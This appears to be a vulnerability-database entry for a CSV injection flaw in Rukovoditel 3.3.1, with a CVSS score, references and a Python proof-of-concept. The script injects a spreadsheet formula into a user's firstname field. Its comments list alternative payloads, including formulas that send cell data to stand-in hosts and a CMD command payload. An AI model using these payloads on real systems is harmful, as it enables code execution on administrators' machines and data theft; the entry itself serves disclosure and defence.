CVE-2023-53913

Description

Rukovoditel 3.3.1 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into the firstname field. Attackers can craft payloads like =calc|a!z| to trigger code execution when an admin exports customer data as a CSV file.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rukovoditel:rukovoditel:3.3.1:*:*:*:*:*:*:* - VULNERABLE

Rukovoditel <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2023-53913 CSV Injection PoC
# Affected: Rukovoditel <= 3.3.1
# Type: CSV Injection leading to RCE

import requests
import json

# Configuration
target_url = "http://target.com"
username = "attacker"
password = "password123"

# Step 1: Login to get session
session = requests.Session()
login_data = {
    "username": username,
    "password": password
}
login_response = session.post(f"{target_url}/index.php?module=users/login", data=login_data)

# Step 2: Update firstname with malicious CSV formula
profile_url = f"{target_url}/index.php?module=users/account"
malicious_firstname = "=calc|a!z|"  # Trigger calc.exe on Windows
# Alternative payloads:
# "=HYPERLINK("http://evil.com/steal?data="&A1)"
# "=CMD|' /c calc'!A0"
# "=WEBSERVICE("http://attacker.com/?data="&A1)"

profile_data = {
    "firstname": malicious_firstname,
    "save": "1"
}
update_response = session.post(profile_url, data=profile_data)

# Step 3: Wait for admin to export CSV
# When admin exports user data to CSV, the formula will execute
# when opened in Excel/WPS

print("PoC executed. Malicious payload injected into firstname field.")
print("Payload:", malicious_firstname)
print("Wait for admin to export CSV file and open it in spreadsheet software.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53913
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53913
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53913/
[4] VulDB https://vuldb.com/cve/CVE-2023-53913
[5] https://www.exploit-db.com/exploits/51490
[6] https://www.rukovoditel.net/
[7] https://www.vulncheck.com/advisories/rukovoditel-csv-injection-via-user-account-export
[8] https://www.exploit-db.com/exploits/51490

Raw JSON Data

JSON

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